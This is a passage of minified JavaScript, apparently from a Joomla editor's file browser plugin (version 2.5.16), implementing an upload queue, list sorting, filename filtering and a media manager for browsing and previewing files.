self._onComplete(file,$.parseJSON(o.response),status);});this.uploader.bind('Error',function(up,err){var file=err.file,message,details;if(err.code===plupload.INIT_ERROR){self._createSimple();}
if(file){var msg=err.message.replace(/[^a-z ]/gi,'').replace(/\s+/g,'_').toLowerCase();var code=err.code.toString();details=$.Plugin.translate('error_'+code.replace(/[\D]/g,''),code);message='<p><strong>'+$.Plugin.translate(msg,err.message)+'</strong></p>';if(err.details){message+='<p>'+err.details+'</p>';}else{switch(err.code){case self.FILE_EXTENSION_ERROR:case self.FILE_INVALID_ERROR:details=details.replace('%s',file.name);break;case self.FILE_SIZE_ERROR:details=details.replace(/%([fsm])/g,function($0,$1){switch($1){case'f':return file.name;case's':return plupload.formatSize(file.size);case'm':return plupload.formatSize(up.settings.max_file_size);}});break;}
message+='<p>'+details+'</p>';}
$.Dialog.alert(message);}});this.uploader.bind('FilesRemoved',function(files){});this.uploader.bind("UploadProgress",function(o,file){self._onProgress(file);});if(this.uploader.settings.chunk_size){this.uploader.bind('ChunkUploaded',function(file,o){window.setTimeout(function(){},1000);});}
this.uploader.init();}catch(e){}},_getUploader:function(){return this.uploader;},_onStart:function(file){this.currentFile=file;var el=file.element;$(el).addClass('load');$('span.queue-item-rename, span.queue-item-insert','#upload-queue').addClass('disabled');if(this.uploader.runtime!='html4'){$('span.queue-item-progress',el).show();}},_isError:function(err){if(err){if($.isArray(err)){return err.length;}
return true;}
return false;},_onComplete:function(file,response,status){var self=this;$(file.element).removeClass('load');if(this._isError(response.error)){status='error';this.errors++;var msg=response.error;if(response.text){msg=response.text;}
if($.isPlainObject(response.error)&&response.error.text){msg=response.error.text;}
if($.isArray(response.error)){msg=response.error.join(' : ');}
$(file.element).addClass('error').after('<li class="queue-item-error"><span>'+msg+'</span></li>');$('span.queue-item-progress',file.element).hide();}else{$(file.element).addClass(status);if(file.status==plupload.DONE){if(response.files&&response.files.length){file.name=response.files[0];}
var item={name:file.name,insert:$('span.queue-item-insert',file.element).hasClass('selected')};this._trigger('fileComplete',null,item);}}
$('span.queue-item-status',file.element).addClass(status);},_onAllComplete:function(){this.uploading=false;this._trigger('uploadComplete');},_setProgress:function(el,percent){$('span.queue-item-progress',el).css('width',percent+'%');},_onProgress:function(file){$('span.queue-item-size',file.element).html(plupload.formatSize(file.loaded));var percent=file.percent;if(file.size==file.loaded){percent=100;}
$('span.queue-item-size',file.element).html(percent+'%');this._setProgress(file.element,percent);},upload:function(args){var files=this.uploader.files;if(files.length){this.uploading=true;if(this.uploader.runtime=='html5'){if(!this.options.canvasResize){args.resize=null;}}
this.uploader.settings.resize=args.resize;this.uploader.settings.multipart_params=args||{};this.uploader.start();}
return false;},refresh:function(){if(!this.uploading)
this.uploader.refresh();},close:function(){if(this.uploading)
this.uploader.stop();this.uploader.destroy();},getErrors:function(){return this.errors;},isUploading:function(){return this.uploading;},stop:function(){this.uploader.stop();},start:function(){this.uploader.start();},setStatus:function(s){var file=this.currentFile;if(file){$(file.element).removeClass('load complete error').addClass(s.state||'');if(s.state&&s.state=='error'){this.errors++;if(s.message){$(file.element).after('<li class="queue-item-error"><span>'+s.message+'</span></li>');}}}},_createDragDrop:function(){if(this.uploader.features.dragdrop){$('<li id="upload-queue-drag">'+$.Plugin.translate('upload_drop','Drop files here')+'</li>').appendTo('ul#upload-queue').show('slow');}else{$('<li id="upload-queue-queue">'+$.Plugin.translate('upload_queue','Upload Queue')+'</li>').appendTo('ul#upload-queue').show('slow');}},_renameFile:function(file,name){this.uploader.getFile(file.id).name=name;this._trigger('fileRename',null,file);},_removeFiles:function(){this.uploader.splice();$(this.element).html('<li style="display:none;"></li>');this._createDragDrop();},_removeFile:function(file){this._trigger('fileDelete',null,file);$(file.element).remove();this.uploader.removeFile(file);if(!this.uploader.files.length){this._createDragDrop();}},_createQueue:function(files){var self=this,doc=document,max_file_size=this.uploader.settings.max_file_size,input,info;$(this.element).empty();var filters=$.map(this.uploader.settings.filters,function(o){if(o.extensions.indexOf('*')==-1){return o.extensions.split(',');}});function _triggerError(file){self.uploader.trigger('Error',{code:self.FILE_INVALID_ERROR,message:'File invalid error',file:file});self.uploader.removeFile(file);if(!self.uploader.files.length){self._createDragDrop();}}
function isValidName(s){return/\.(php|php(3|4|5)|js|exe|html|htm|phtml|java|perl|py|asp|dll|go|ade|adp|bat|chm|cmd|com|cpl|hta|ins|isp|jse|lib|mde|msc|msp|mst|pif|scr|sct|shb|sys|vb|vbe|vbs|vxd|wsc|wsf|wsh)\./i.test(s)===false;}
$.each(files,function(x,file){var title=$.String.basename(file.name);if(filters.length){if(new RegExp('\\.('+filters.join('|')+')$','i').test(title)===false){_triggerError(file);return false;}}
if(!isValidName(title)){_triggerError(file);return false;}
title=$.String.safe(title,self.options.websafe_mode,self.options.websafe_spaces,self.options.websafe_textcase);self._renameFile(file,title);file.element=doc.createElement('li');var status=doc.createElement('span');var size=doc.createElement('span');var name=doc.createElement('span');var rename=doc.createElement('span');var insert=doc.createElement('span');var input=doc.createElement('input');$(status).attr({'title':$.Plugin.translate('delete','Delete'),'role':'button'}).addClass('queue-item-status delete').click(function(){if(self.uploading){return self._stop(file);}
return self._removeFile(file);});$(name).attr({'title':title,'role':'presentation'}).addClass('queue-item-name').append('<span class="queue-item-progress" role="presentation"></span><span class="queue-item-name-text">'+title+'</span>').appendTo(file.element);$(size).attr({'title':plupload.formatSize(file.size),'role':'presentation'}).addClass('queue-item-size').html(plupload.formatSize(file.size));$(input).attr({'type':'text','aria-hidden':true}).appendTo(name).hide();$(rename).attr({'title':$.Plugin.translate('rename','Rename'),'role':'button'}).addClass('queue-item-rename').not('.disabled').click(function(e){$('span.queue-item-name-text',name).click();e.preventDefault();});$(insert).attr({'title':$.Plugin.translate('upload_insert','Insert after upload'),'role':'button'}).click(function(e){$('li.queue-item span.queue-item-insert').each(function(){if(this==e.target){$(this).toggleClass('disabled').toggleClass('selected');}else{$(this).addClass('disabled').removeClass('selected');}});}).addClass('queue-item-insert disabled').toggle(self.options.insert);var buttons=[size,rename,insert,status];$.each(self.options.buttons,function(name,props){var btn=document.createElement('span');$(btn).attr({'title':(props.title||name),'role':'button'}).addClass(props['class']).click(function(){var fn=props.click||$.noop;fn.call(self,this);});buttons.push(btn);});$('<span class="queue-item-actions"></span>').appendTo(file.element).append(buttons);$('#upload-body').click(function(e){if($(e.target).is('input, span.queue-item-rename, span.queue-item-name-text',file.element))
return;$(input).blur();});$('span.queue-item-name-text',name).click(function(e){if(self.uploading){e.preventDefault();return;}
var name,txt=this;$(this).hide();name=$.String.stripExt(file.name);name=$.String.safe(name,self.options.websafe_mode,self.options.websafe_spaces,self.options.websafe_textcase);$(input).val(name).show().attr('aria-hidden',false);$(input).bind('blur',function(){var v=$(input).val()+'.'+$.String.getExt($(txt).text());v=$.String.safe(v,self.options.websafe_mode,self.options.websafe_spaces,self.options.websafe_textcase);if(isValidName(v)){self._renameFile(file,v);}else{v=file.name;}
$(txt).show().text(v);$(input).hide().attr('aria-hidden',true);$(rename).unbind('click.blur');});$(rename).bind('click.blur',function(){$(input).blur();$(rename).unbind('click.blur');});$(input).focus();});$(file.element).addClass('queue-item').addClass('file').addClass($.String.getExt(file.name)).appendTo($(self.element));self._trigger('fileSelect',null,file);});},_stop:function(file){this.uploader.stop();$(file.element).removeClass('load');},destroy:function(){this.uploader.destroy();$.Widget.prototype.destroy.apply(this,arguments);}});$.extend($.ui.uploader,{version:"2.5.16"});})(jQuery);var WFFileBrowser={settings:{},element:'',init:function(element,options){$.extend(true,this.settings,options);this.element=element;this._createBrowser();},_createBrowser:function(){$(this.element).MediaManager(this.settings);},getBaseDir:function(){return this._call('getBaseDir');},getCurrentDir:function(){return this._call('getCurrentDir');},getSelectedItems:function(key){return this._call('getSelectedItems',key);},setSelectedItems:function(items){return this._call('setSelectedItems',items);},refresh:function(){return this._call('refresh');},error:function(error){return this._call('error',error);},status:function(message,state){return this._call('setStatus',{message:message,state:state});},load:function(items){return this._call('load',items);},resize:function(fh){return this._call('resize',[null,fh]);},startUpload:function(){return this._call('startUpload');},stopUpload:function(){return this._call('stopUpload');},setUploadStatus:function(message,state){return this._call('setUploadStatus',{message:message,state:state});},get:function(fn,args){return this._call(fn,args);},_call:function(fn,args){return $(this.element).MediaManager(fn,args);}};(function($){$.widget("ui.listsort",{options:{fields:{}},_init:function(){var self=this;$.each(this.options.fields,function(element,props){$(element).addClass('asc').bind('click',function(){var direction='asc';$(this).toggleClass(function(){if($(this).is('.asc')){$(this).removeClass('asc');direction='desc';}else{$(this).removeClass('desc');direction='asc';}
return direction;});var selector=props.selector;if($.type(selector)=='string'){selector=[selector];}
$.each(selector,function(i,s){self.sortList(s,$(element).data('sort-type'),props.attribute,direction);});});});},sortList:function(selector,type,attribute,direction){var self=this;switch(type){case'date':fn=this._sortDate;break;default:fn=this._sortCompare;break;}
var list=$(selector,this.element).map(function(){var v=$(this).attr(attribute)||$(this).text();if(type=='number'){v=parseFloat(v);}
if(type=='extension'){v=v.substring(v.length,v.lastIndexOf('.')+1).toLowerCase();}
if(type=='string'){v=v.toLowerCase();}
return{value:v,element:this};}).get();list.sort(fn);if(direction=='desc'||type=='extension'){list.reverse();}
$.each(list,function(i,item){$(self.element).append(item.element);});list=null;this._trigger('onSort');},_sortDate:function(a,b){var x=a.value,y=b.value,r=0,d1=0,d2=0,t1=0,t2=0;var re=/(\d{2})[\/](\d{2})[\/](\d{4}), (\d{2})[:](\d{2})/g;d1=x.replace(re,'$3$2$1');d2=y.replace(re,'$3$2$1');t1=x.replace(re,'$4$5');t2=y.replace(re,'$4$5');if(d1>d2){r=1;}
if(d1<d2){r=-1;}
if(t1>t2){r=1;}
if(t1<t2){r=-1;}
return r;},_sortCompare:function(a,b){if(a.value<b.value){return-1;}
if(b.value<a.value){return 1;}
return 0;},destroy:function(){$.Widget.prototype.destroy.apply(this,arguments);}});$.extend($.ui.listsort,{version:"2.5.16"});})(jQuery);(function($){$.widget("ui.listFilter",{options:{list:null,items:null,clear:null,sort:null,hide:false,filter:null,onFilter:null,onFind:null},working:false,_init:function(){var self=this,el=this.element,x=[];$(this.options.clear).click(function(e){$(this).removeClass('clear');self.reset();$(el).val('');x=[];self._trigger('onFind',e,[x]);return;});$(el).keyup(function(e){var v=this.value;if(v){if(v!=="."){if(!$(this).hasClass('working')){$(this).addClass('working');window.setTimeout(function(){self._find(v,e);},500);}}}else{$(self.options.clear).click();$(this).removeClass('working');}});},filter:function(s,cb){var x=[],f,v,o=this.options;if(/[a-z0-9_\.-]/i.test(s)){$(this.options.items).each(function(){var n=$.String.basename($(this).attr('title'));if(s.charAt(0)=='.'){v=s.substr(1);f=n.substr(n.lastIndexOf('.')+1);}else{f=n.substring(0,s.length);v=s;}
if(f.toLowerCase()==v.toLowerCase()){if($.inArray(this,x)==-1){x.push(this);}}else{var i=$.inArray(this,x);if(i!=-1){x.splice(i,1);}}});}else{x=[];}
if(x&&x.length){x=this._sort(x);this._scroll(x[0]);if(o.filter){$(o.filter).not(x).hide();}}else{this.reset();}
this._found(x);},_found:function(x){$(this.element).removeClass('working');x=x||[];this._trigger('onFind',null,[x]);},_find:function(s,e){var self=this,o=this.options,x=[],filter;$(o.clear).toggleClass('clear',!!s);if(o.onFilter){return self._trigger('onFilter',e,[s,this._found,this]);}
return this.filter(s);},_scroll:function(el){var self=this,$list=$(this.options.list);var pos=$(el).position();var top=$list.scrollTop();$list.css('overflow','hidden').animate({scrollTop:pos.top+top},1000,function(){$list.css('overflow','auto');});},_sort:function(x){var a=[];$(this.options.items).each(function(){if($.inArray(this,x)!=-1){a.push(this);}});return a;},reset:function(){$(this.options.filter).show();this._scroll($('li:first',this.options.list));},destroy:function(){$.Widget.prototype.destroy.apply(this,arguments);}});$.extend($.ui.searchables,{version:"2.5.16"});})(jQuery);(function($){$.widget("ui.MediaManager",{_actions:[],_buttons:{'folder':{},'file':{}},_dialog:[],_returnedItems:[],_pasteitems:'',_pasteaction:'',_limitcount:0,_limitend:0,options:{base:'',dir:'images',dialog:{list:'#browser-list',tree:'#tree-body',info:'#browser-details-text',limit:'#browser-list-limit',comments:'#browser-details-comment',nav:'#browser-details-nav',status:'#browser-message',message:'#message-info',buttons:'#browser-buttons',actions:'#browser-actions',refresh:'#refresh',search:'#search'},actions:null,buttons:null,folder_tree:true,details:true,search:true,upload:{size:'1024kb',types:{},overwrite:true,limit:false,runtimes:'html5,flash,html4',chunk_size:'1mb',insert:true,dialog:{},elements:null,buttons:{}},folder_new:{dialog:null},rename:{dialog:null},viewable:'jpeg,jpg,gif,png,avi,wmv,wm,asf,asx,wmx,wvx,mov,qt,mpg,mp3,mp4,m4v,mpeg,ogg,ogv,webm,swf,flv,f4v,xml,dcr,rm,ra,ram,divx,html,htm,txt,rtf,pdf,doc,docx,xls,xlsx,ppt,pptx',use_cookies:true,listlimit:'all',expandable:true,websafe_mode:'utf-8',websafe_spaces:false,websafe_textcase:'',date_format:'%d/%m/%Y, %H:%M'},_init:function(){var self=this;this._addActions(this.options.actions);this._addButtons(this.options.buttons);var dialog=this.options.dialog;var list=document.createElement('ul');$(list).addClass('item-list').attr({'id':'item-list','role':'listbox'}).bind('click.item-list',function(e){var n=e.target,p=n.parentNode;switch(n.nodeName){case'A':if($(p).hasClass('folder')){var u=$(p).data('url')||self._getPreviousDir();return self._changeDir(u);}else{self._setSelectedItems(e,true);self._trigger('onFileClick',e,p);}
break;case'LI':if($(n).hasClass('folder-up')){var u=$(p).data('url')||self._getPreviousDir();return self._changeDir(u);}
if($(n).hasClass('folder')){if(e.pageX<$('a',p).offset().left){var u=$(p).data('url')||self._getPreviousDir();return self._changeDir(u);}}
self._setSelectedItems(e,true);break;case'SPAN':if($(n).hasClass('checked')){$(n).removeClass('checked').attr('aria-checked',false);self._removeSelectedItems([p],true);}else{self._setSelectedItems(e,true);$(n).attr('aria-checked',true);}
break;}
e.preventDefault();}).bind('dblclick.item-list',function(e){e.preventDefault();return false;}).bind('keydown.item-list',function(e){switch(e.which){case 13:n=$('li.selected:last','#item-list').get(0);if(!n)
return;if($(n).hasClass('folder')){var u=$(p).data('url')||self._getPreviousDir();return self._changeDir(u);}else{self._setSelectedItems(e,true);self._trigger('onFileClick',e,n);}
break;case 38:case 40:self._setSelectedItems(e);break;}
e.preventDefault();});$('#browser-list').append(list).bind('scroll.browser-list',function(e){self._updateList();});$('span.details-nav-left, span.details-nav-right','#browser-details-nav').click(function(){var $item=$('li.selected.active','#item-list').removeClass('active');if($(this).hasClass('details-nav-left')){$item.prevAll('li.selected:first').addClass('active');}
if($(this).hasClass('details-nav-right')){$item.nextAll('li.selected:first').addClass('active');}
self._showItemDetails();});$(dialog.limit+'-select').val($.Cookie.get('wf_'+$.Plugin.getName()+'_limit')||this.options.listlimit);$(dialog.limit+'-select').change(function(){self._limitcount=0;if(self.options.use_cookies){$.Cookie.set('wf_'+$.Plugin.getName()+'_limit',$(this).val());}
self.refresh();});$('ul li',dialog.limit).click(function(){var x=0,count=self._limitcount,limit=parseInt(self._limit);if($(this).hasClass('limit-left')){x=count-limit;}
if($(this).hasClass('limit-right')){x=count+limit;}
if($(this).hasClass('limit-right-end')){x=count=self._limitend;}
self._limitcount=x;self.refresh();});$('span.checkbox','#check-all').click(function(e){var el=e.target;if($(el).hasClass('checked')){$(el).removeClass('checked').attr('aria-checked',false);$('span.checkbox',$(dialog.list)).removeClass('checked').attr('aria-checked',false);self._deselectItems();}else{$(el).addClass('checked').attr('aria-checked',true);self._selectItems($('li.folder, li.file',$(dialog.list)).not('li.folder-up'),true);}});this._setupSortables();this._toggleTree(this._treeLoaded());$('#block-search-icon').toggle(this.options.search)
$('#show-details').toggle(this._treeLoaded()&&this.options.details);$('#show-search').click(function(){$('#searchbox').toggleClass('hide').attr('aria-hidden',function(){return $(this).hasClass('hide');});$(this).toggleClass('active');if($(this).hasClass('active')){var end=$(this).prevAll(':visible').get(1);var width=$(end).parent().width()-$(end).position().left-parseInt($('#searchbox').css('right'));var spacers=$(end).nextAll(':visible').not(this).children('div.spacer');$('#searchbox').width(width-(spacers.length*$(spacers).outerWidth(true)));$('#search').focus();}});$('body').click(function(e){if($('#searchbox input').val()||$(e.target).is('#show-search, span.layout-icon.search')||$(e.target).parents('#searchbox').length){return;}
$('#searchbox').addClass('hide').attr('aria-hidden',true);$('#show-search').removeClass('active');});$(dialog.search).listFilter({list:dialog.list,items:'#item-list li.file',clear:$('span.search-icon','#searchbox'),filter:'#item-list li',onFilter:function(e,s,cb,scope){if($('#browser-list-limit-select').val()=='all'){return $(this).listFilter('filter',s);}
if(s&&self._isWebSafe(s)){$('#browser-list').one('load.filter',function(){cb.call(scope||self,$('li.file','#item-list').get());});self._getList('',s);}else{self.refresh();}},onFind:function(e,items){if(e.currentTarget==$('span.search-icon','#searchbox').get(0)){if($('#browser-list-limit-select').val()=='all'){return $(this).listFilter('reset');}
self.refresh();}}});$(dialog.refresh).click(function(e){self.refresh(e);});$('#show-details:visible').click(function(e){var span=e.target;$(span).toggleClass('tree');self._showListDetails();});var ih=this._getInterfaceHeight();$(window).bind('resize',function(){self.resize(ih);});$('#layout-full-toggle').toggle(this.options.expandable).click(function(){$('#browser').toggleClass('full-height');self.resize(ih);self._trigger($('#browser').hasClass('full-height')?'onMaximise':'onMinimise');});this._setupDir();self.resize(ih);this._trigger('onInit');},_updateList:function(){var self=this;var area=$('#browser-list').height()+$('#browser-list').scrollTop();$('li.file.jpg, li.file.jpeg, li.file.png, li.file.gif, li.file.bmp','#item-list').not('[data-width]').each(function(){var pos=$(this).position();if(pos.top<area){self._getDimensions(this);}});},_getInterfaceHeight:function(){var ih=Math.max(0,Math.round($('#browser').offset().top)-5);var p=$('#browser').parent('form');if($(p).next(':not(div.actionPanel)').length){ih=(Math.round($('div.actionPanel').offset().top)-10)-$('#browser').innerHeight();}
return ih;},resize:function(ih,init){var fh=$('#browser').hasClass('full-height'),ih=ih||this._getInterfaceHeight();var ap=Math.round($('div.actionPanel').offset().top)-10;$('#browser').css({width:$('body').width()});var bh=(fh?ap:ap-ih)-$('#browser').innerHeight();$('#browser-tree, #tree-body, #browser-list, #browser-details, #browser-details~div.spacer, #browser-buttons').height(function(i,v){return v+bh;});},_translate:function(s,ds){return $.Plugin.translate(s,ds);},_setupSortables:function(){var self=this;$('#item-list').listsort({fields:{'#sort-ext':{attribute:'title',selector:'li.file'},'#sort-name':{attribute:'title',selector:['li.folder:not(.folder-up)','li.file']},'#sort-date':{attribute:'data-modified',selector:['li.folder:not(.folder-up)','li.file']},'#sort-size':{attribute:'data-size',selector:'li.file'}},onSort:function(){self._trigger('onListSort');}});},_validatePath:function(s){function _toUnicode(c){c=c.toString(16).toUpperCase();while(c.length<4){c='0'+c;}
return'\\u'+c;}
if(/\.{2,}/.test(s)||(/:\/\//.test(s)&&s.indexOf($.Plugin.getURI(true))==-1)){return false;}
if(/:\/\//.test(s)){s=$.URL.toRelative(s);}
if(/[^\w\.\-~\s \/]/i.test(s)){for(var i=0,ln=s.length;i<ln;i++){var ch=s[i];if(/[^\w\.\-~\s \/]/i.test(ch)){if(_toUnicode(ch.charCodeAt(0))<'\\u007F'){return false;}}}}
return true;},_cleanPath:function(path){if(path){if(new RegExp(':\/\/').test(path)){path=$.URL.toRelative(path);}
path=path.replace(/^[\/\\]+/,'');if(/\.([a-z0-9]{2,}$)/i.test(path)){path=$.String.dirname(path);path=path.replace(new RegExp(this.options.dir),'').replace(/^[\/\\]+/,'');}}
return path;},_setupDir:function(){var dir='';var src=$(this.element).val();if(src&&this.options.base){if(src.indexOf('://'+this.options.base)!==-1){src=src.replace(/http(s)?:\/\//i,'');src=src.substr(0,src.indexOf('?'));src=src.replace(this.options.base,'');}}
src=src.replace(/^[\/\\]+/,'');if(!this._validatePath(src)){src='';}
if(!src){dir=$.Cookie.get('wf_'+$.Plugin.getName()+'_dir')||'';}
if(!this._validatePath(dir)){dir='';}
this._dir=$.String.encodeURI(dir);if(src&&/:\/\//.test(src)){src=$.URL.toRelative(src);}
this.setStatus({message:this._translate('loading','Loading...'),state:'load'});if(this._treeLoaded()){this._createTree(src);}else{this._getList(src);}},_toggleTree:function(s){$('#browser').toggleClass('full-width',!s);$('div.layout-left','#browser').attr('aria-hidden',!s);$('#sort-size, #sort-date').attr('aria-hidden',s);$('span.size, span.date','#item-list').attr('aria-hidden',s);},_isWebSafe:function(name){var safe=$.String.safe(name,this.options.websafe_mode,this.options.websafe_spaces,this.options.websafe_textcase);return name.toLowerCase()===safe.toLowerCase();},_isViewable:function(name){var button=this._getButton('file','view');var viewable=this.options.viewable;if(button&&button.restrict){viewable=button.restrict;}
return new RegExp('\\.('+viewable.replace(/,/g,'|')+')$','i').test(name);},_buildList:function(o){var self=this,h='';$('#item-list').empty();if(!this._isRoot()){h+='<li class="folder folder-up" title="Up"><a href="javascript:;">...</a></li>';}
if(o.folders.length){$.each(o.folders,function(i,e){var data=[],classes=[];$.each(e.properties,function(k,v){if(v!==''){data.push('data-'+k+'="'+v+'"');}});data.push('data-url="'+(e.url||e.id)+'"');classes.push(self._isWebSafe(e.name)?'safe':'notsafe');classes.push(e.writable?'writable':'notwritable');if(e.classes){classes.push(e.classes);}
h+='<li class="folder '+classes.join(' ')+'" title="'+e.name+'"'+
data.join(' ')+'><span class="checkbox" role="checkbox" aria-checked="false"></span><a href="javascript:;">'+e.name+'</a><span class="date" aria-hidden="true">'+$.String.formatDate(e.properties.modified,self.options.date_format)+'</span></li>';});}
if(o.total.files){$.each(o.files,function(i,e){var data=[],classes=[];$.each(e.properties,function(k,v){if(v!==''){data.push('data-'+k+'="'+v+'"');}});if(e.url){data.push('data-url="'+e.url+'"');}
data.push('id="'+e.id+'"');classes.push(self._isWebSafe(e.name)?'safe':'notsafe');classes.push(e.writable?'writable':'notwritable');if(e.selected){self._addReturnedItem({'name':e.id});}
if(e.classes){classes.push(e.classes);}
h+='<li class="file '+$.String.getExt(e.name)+' '+classes.join(' ')+'" title="'+e.name+'"'+
data.join(' ')+'><span class="checkbox" role="checkbox" aria-checked="false"></span><a href="javascript:;">'+e.name+'</a><span class="date" aria-hidden="true">'+$.String.formatDate(e.properties.modified,self.options.date_format)+'</span><span class="size" aria-hidden="true">'+$.String.formatSize(e.properties.size)+'</span></li>';});}else{h+='<li class="nofile">'+self._translate('no_files','No files')+'</li>';}
$('#item-list').html(h);this._showListDetails();},_showListDetails:function(){var s=!$('span.layout-icon','#show-details').hasClass('tree')&&this._treeLoaded();this._toggleTree(s);},_treeLoaded:function(){return this.options.folder_tree&&typeof $.ui.tree!='undefined';},_createTree:function(src){var self=this,dialog=this.options.dialog;var path=src||this._dir;path=this._cleanPath(path);$(dialog.tree).tree({onInit:function(e,callback){$.JSON.request('getTree',path,function(o){$(dialog.tree).html(o);if($.isFunction(callback)){callback.apply();}
self._getList(src);});},onNodeClick:function(e,node){self._changeDir($(node).attr('id'));$(dialog.tree).tree('toggleNode',e,node);},onNodeLoad:function(e,node){$(dialog.tree).tree('toggleLoader',node);$.JSON.request('getTreeItem',$(node).attr('id'),function(o){if(o){if(!o.error){$('ul:first',node).remove();$(dialog.tree).tree('createNode',o.folders,node);$(dialog.tree).tree('toggleNodeState',node,true);}else{alert(o.error);}}
$(dialog.tree).tree('toggleLoader',node);},this);}});},_reset:function(){this._deselectItems();this._returnedItems=[];$.each(this._dialog,function(i,n){$(n).dialog('close');});$('span.checkbox',$('#check-all')).removeClass('checked');$('span','#browser-details-nav').removeClass('visible').attr('aria-hidden',true).filter('span.details-nav-text').empty();},_clearPaste:function(){this._pasteaction='';this._pasteitems='';this._hideButtons($('div.paste','#buttons'));},setStatus:function(o){$(this.options.dialog.status).attr('class',o.state||'');$(this.options.dialog.status).html('<span>'+o.message||''+'</span>');},_setMessage:function(message,classname){return true;},_setLoader:function(){this.setStatus({message:this._translate('message_load','Loading...'),state:'load'});},_resetMessage:function(){return true;},_resetStatus:function(){var self=this,dir=decodeURIComponent(this._dir),$status=$(this.options.dialog.status);this.setStatus({message:'',state:''});$status.empty();var $pathway=$('<ul/>').addClass('pathway').appendTo($status);var sw=$status.width();var $root=$('<li/>').html(self._translate('root','Root')).click(function(){self._changeDir('/');}).appendTo($pathway);dir=$.trim(dir.replace(/^\//,''));var $count=$('<li class="count">( '+this._foldercount+' '+this._translate('folders','folders')+', '+this._filecount+' '+this._translate('files','files')+')</li>').appendTo($pathway);var w=bw=$root.outerWidth(true)+$count.outerWidth(true);if(dir){var x=1,parts=dir.split('/');$.each(parts,function(i,s){var path=s;if(i>0){path=parts.slice(0,i+1).join('/');}
var $item=$('<li title="'+s+'" />').click(function(e){self._changeDir(path);}).html('&rsaquo;&nbsp;'+s).insertBefore($count);w+=$item.outerWidth(true);if(w>(sw-bw)){$('li',$pathway).eq(x++).html('&rsaquo; ...');}});}},_getPreviousDir:function(){if(this._dir.length<2){return this._dir;}
var dirs=this._dir.split('/');var s='';for(var i=0;i<dirs.length-1;i++){s=$.String.path(s,dirs[i]);}
return s;},_addReturnedItem:function(items){if($.type(items)=='array'){$.merge(this._returnedItems,items);}else{this._returnedItems.push(items);}},_returnFile:function(file){this._addReturnedItem({name:$.String.basename(file)});this._changeDir($.String.dirname(file));},_setDir:function(dir){this._dir=dir;},getBaseDir:function(){return this.options.dir;},getCurrentDir:function(){return this._dir;},_isRoot:function(){var s=this._dir;s=s.replace(/^[\\\/]/,'');return s==='';},_changeDir:function(dir){this._reset();this._limitcount=0;this._setDir(dir);this._setLoader();this._getList(dir);},_getList:function(src,filter){var path=src||this._dir;if((src||this._dir==='')&&this.options.use_cookies){$.Cookie.set("wf_"+$.Plugin.getName()+'_dir',this._cleanPath(path));}
this._hideButtons($('div.button','#buttons'));this._limit=$('#browser-list-limit-select').val()||this.options.listlimit;$.JSON.request('getItems',[path,this._limit,this._limitcount,filter||''],this._loadList,this);},refresh:function(e){this._reset();this._setLoader();if(e){$('form').append('<input type="hidden" name="refresh" value="1" />');}
this._getList();},load:function(items){if(items){this._addReturnedItem(items);}
this._setLoader();this._getList();},error:function(error){this._raiseError(error);},startUpload:function(){$('#upload-queue').uploader('start');},stopUpload:function(){$('#upload-queue').uploader('stop');},setUploadStatus:function(o){$('#upload-queue').uploader('setStatus',o);},_loadList:function(o){var dialog=this.options.dialog;$('input[name="refresh"]','form').remove();if(!o){this.setStatus({message:'',state:''});return false;}
if(!$.support.cssFloat){$('#browser-list').attr('unselectable','on');}
this._foldercount=o.total.folders;this._filecount=o.total.files;this._limitend=(o.total.folders+o.total.files)-this._limit;var count=this._limitcount+o.folders.length+o.files.length;if(count<(o.total.folders+o.total.files)){$('#browser-list-limit ul.limit-right li').css('display','inline-block').attr('aria-hidden',false);}else{$('#browser-list-limit ul.limit-right li').hide().attr('aria-hidden',true);}
if((count-this._limit)>0){$('#browser-list-limit ul.limit-left li').css('display','inline-block').attr('aria-hidden',false);}else{$('#browser-list-limit ul.limit-left li').hide().attr('aria-hidden',true);}
if(o.folders.length){this._dir=$.String.encodeURI($.String.dirname(o.folders[0].id)||'/',true);}else if(o.files.length){this._dir=$.String.encodeURI($.String.dirname(o.files[0].id)||'/',true);}
if(!this._isRoot()){$('#folder-list').append('<li class="folder-up" title="Up"><a href="javascript:;>...</a></li>');}
if(this._treeLoaded()){$(dialog.tree).tree('createNode',o.folders,this._dir);}
this._trigger('onBeforeBuildList',null,o);this._buildList(o);this._trigger('onAfterBuildList',null,o);if(this._returnedItems.length){this._findItem(this._returnedItems);this._returnedItems=[];}
if(this._pasteitems){this._showPasteButton();}
$('#browser-list').trigger('load');this._resetStatus();this._resetMessage();this._trigger('onListComplete');},_getDialogOptions:function(dialog){var options=this.options[dialog];var elements='';if(options&&options.elements){if($.isPlainObject(options.elements)){$.each(options.elements,function(k,v){if(v.options){elements+='<p>';elements+='<label for="'+k+'">'+(v.label||k)+'</label>';elements+='<select id="'+k+'" name="'+k+'">';$.each(v.options,function(value,name){elements+='<option value="'+value+'">'+name+'</option>';});elements+='</select>';elements+='</p>';}else{elements+='<p><label for="'+k+'">'+v.label||k+'</label><input id="'+k+'" type="text" name="'+k+'" value="'+v.value||''+'" /></p>';}});}else{return options.elements;}}
return elements;},_execute:function(name){var self=this;var dir=this._dir;dir=dir.replace(/^[\/\\]+/,'');var list=this._serializeSelectedItems();var site=$.Plugin.getURI(true);switch(name){case'help':$.Plugin.help();break;case'insert':this._trigger('onFileInsert',null,$('li.selected','#item-list').get(0));break;case'view':var $item=$('li.selected.active:first','#item-list');var url=$item.data('url');url=/http(s)?:\/\//.test(url)?url:$.String.path(site,url);if($item.data('preview')){url=$item.data('preview');}
var name=$.String.basename($item.attr('title'));if(this._isViewable(name)){if(/\.(jpeg|jpg|gif|png|avi|wmv|wm|asf|asx|wmx|wvx|mov|qt|mpg|mp3|mp4|m4v|mpeg|ogg|ogv|webm|swf|flv|f4v|xml|dcr|rm|ra|ram|divx|pdf)/i.test(name)){$.Dialog.media(name,url);}else{$.Dialog.iframe(name,url,{onFrameLoad:function(e){var iframe=$('div.iframe-preview iframe').get(0);var h=iframe.contentWindow.document.body.innerHTML;var tmpDiv=document.createElement('div');$(tmpDiv).html(h);function toRelative(s){s=$.URL.toRelative(s);return s.replace(/^administrator\//,'');}
$('img, embed',$(tmpDiv)).each(function(){var s=toRelative($(this).attr('src'));if(!/http(s)?:\/\//.test(s)){s=$.String.path(site,s);}
$(this).attr('src',s);});$('a, area',$(tmpDiv)).each(function(){var s=toRelative($(this).attr('href'));if(!/http(s)?:\/\//.test(s)){s=$.String.path(site,s);}
